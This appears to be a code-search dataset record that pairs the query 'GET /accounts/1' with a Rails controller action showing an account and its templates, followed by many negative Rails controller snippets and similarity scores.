[ "0.71163213", "0.70047945", "0.6948485", "0.6802255", "0.6777963", "0.6730009", "0.66631466", "0.66213226", "0.6598062", "0.6580568", "0.65585303", "0.6505059", "0.64956087", "0.6447618", "0.6433366", "0.6423312", "0.6423301", "0.63539773", "0.6291959", "0.62371445", "0.6226992", "0.6224494", "0.62187475", "0.6216639", "0.6212697", "0.62122387", "0.6200836", "0.6193445", "0.6191714", "0.61906666", "0.6163976", "0.6160535", "0.61530715", "0.6141064", "0.61403775", "0.6130617", "0.61207044", "0.611596", "0.6105104", "0.6096396", "0.60797745", "0.6077073", "0.60708743", "0.60647625", "0.60647154", "0.6059447", "0.6058401", "0.6057683", "0.605082", "0.6049667", "0.6019522", "0.6016052", "0.6010442", "0.60036945", "0.59937", "0.5990873", "0.59904313", "0.5986595", "0.59859914", "0.59821373", "0.5974052", "0.5970237", "0.5967738", "0.5948838", "0.5937176", "0.5934112", "0.59300303", "0.59267217", "0.5921091", "0.5921091", "0.5912616", "0.5907901", "0.5895902", "0.5891074", "0.5884819", "0.5884472", "0.58826166", "0.58810556", "0.58772874", "0.5870636", "0.58598226", "0.58567894", "0.5851346", "0.58428437", "0.5840681", "0.5840374", "0.5824004", "0.58194387", "0.5819274", "0.58097917", "0.58093023", "0.5794813", "0.5790162", "0.5789534", "0.57871586", "0.5784929", "0.57805353", "0.5779332", "0.577817" ]
0.68491316
4
Use callbacks to share common setup or constraints between actions.
def set_document if Document.exists?(params[:id]) @document = Document.find(params[:id]) unless current_user.id == @document.created_by_id error_renderer({code: 401, message: 'Unauthorized'}) end else render partial: 'api/v1/error', locals: {:@error => {code: 404, message: 'Document Not Found'}}, status: 404 end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def document_params temp = params.permit(:name, :id_parent_folder,:limit,:offset,:format).to_hash.symbolize_keys if temp.has_key? :id_parent_folder temp[:parent_folder_id] = temp[:id_parent_folder] temp.delete(:id_parent_folder) end temp end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
GET /accounts/1 GET /accounts/1.json
def show @account = Account.find(params[:id]) @templates = @account.templates @defaults = Template.where(is_default: true).order(:id) @differences = Template.differences(@templates, @defaults) respond_to do |format| format.html # show.html.erb format.json { render json: @account } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def accounts\n get('/accounts')['accounts']\n end", "def get_accounts()\n http_get(accounts_url)\n end", "def get_account\n as_json(get_results('/account'))\n end", "def account(id)\n make_json_api_request :get, \"v2/accounts/#{id}\"\n end", "def show\n authorize @accounts\n render json: @account\n end", "def index\n\t\t@accounts = Account.all\n\t\trespond_to do |format|\n\t\t\tformat.json { render json: @accounts }\n\t\tend\n\tend", "def all_accounts\n puts params[:id]\n accounts = []\n user = User.find params[:id]\n user.accounts.each do |f|\n accounts << {id:f.id, title: f.title}\n end\n render json: accounts\n end", "def show\n @account = Account.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @account }\n end\n end", "def show\n @account = Account.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @account }\n end\n end", "def show\n @account = Account.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @account }\n end\n end", "def show\n @account = Account.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @account }\n end\n end", "def show\n @account = Account.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @account }\n end\n end", "def show\n\t\t@account = Account.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.json { render json: @account }\n\t\tend\n\tend", "def show\r\n @account = Account.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @account }\r\n end\r\n end", "def account\n get('account')\n end", "def show_account(id)\n get(\"accounts/#{id}\")\n end", "def index\n @accounts = Account.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @accounts }\n end\n end", "def index\n @api_v1_accounts = Api::V1::Account.all\n end", "def show\n account = resource\n if params[:id].present?\n account = User.find_by_id(params[:id])\n end\n render json: account, status: 200\n end", "def show\n\t\treturn status 404 if @account.nil?\n\t\trespond_to do |format|\n\t\t\tformat.json { render json: @account }\n\t\tend\n\tend", "def show\n @account = Account.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @account }\n end\n end", "def index\n @accounts = current_user.person.linked_in_accounts\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @accounts }\n end\n end", "def index\n\n begin\n\n @accounts = Account.active\n render json: @accounts.to_json(:except=>:password, :methods => [:subdomains, :template] )\n\n rescue => e\n render :json => e.message, :status => :unprocessable_entity\n end\n\n end", "def index\n @accounts = current_user.person.blackberry_accounts\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @accounts }\n end\n end", "def index\n index = json_account_params[:json_id].to_i if !index \n if admin_signed_in?\n @accounts = Account.all\n else\n @accounts = Account.tri(@current_user.id).all[(index)..(index + 5)]\n end\n index = index + 1\n respond_to do |format|\n format.html\n format.json { render json: @accounts, locals: {last: \"@last\"} }\n end\n end", "def show\n @account = Account.find_by_id(params[:id])\n if (@account)\n Rabl.render(@account, 'api/accounts/show', view_path: 'app/views')\n else\n render status: 401, json: {error: \"Invalid account\"}\n end\n end", "def index\n email = AuthenticationHelper::Auth.instance.getEmailFromJWT( request )\n if ( email == nil )\n render json: :nothing, status: :unprocessable_entity\n return\n end\n\n user = User.find_by(email: email)\n if ( user )\n accounts = Account.where(user_id: user[\"id\"])\n render json: accounts, status: :ok\n else\n render json: :nothing, status: :unprocessable_entity\n end\n end", "def account(params = {})\n make_get_request('/account', params)\n end", "def list_accounts\n HTTP.headers(:accept => @@accept).basic_auth(:user => ENV[\"API_USERNAME\"], :pass => ENV[\"API_PASSWORD\"])\n .get(\"#{@@base_url}/users/#{self.guid}/accounts\").parse[\"accounts\"]\n end", "def get_account(account_id)\n get(\"/account/#{account_id}\")\n end", "def show\n\n begin\n\n @account = Account.active.find_by_email(params[:id])\n @account = Account.active.find(params[:id]) if @account.nil?\n\n if @account_user.instance_of?(Account)\n #verify user is accessing his/her own account\n raise \"Username '#{@account_user.email}' does not have access to this account\" if @account != @account_user\n end\n\n render json: @account.to_json(:except=>:password, :methods => [:subdomains, :template])\n\n rescue => e\n logger.debug 'ERROR: ' + e.message\n render :json => e.message, :status => :unprocessable_entity\n end\n\n end", "def show\n email = AuthenticationHelper::Auth.instance.getEmailFromJWT( request )\n if ( email == nil )\n render json: :nothing, status: :unprocessable_entity\n return\n end\n\n user = User.find_by(email: email)\n if ( user )\n account = Account.find_by(id: params[:id], user_id: 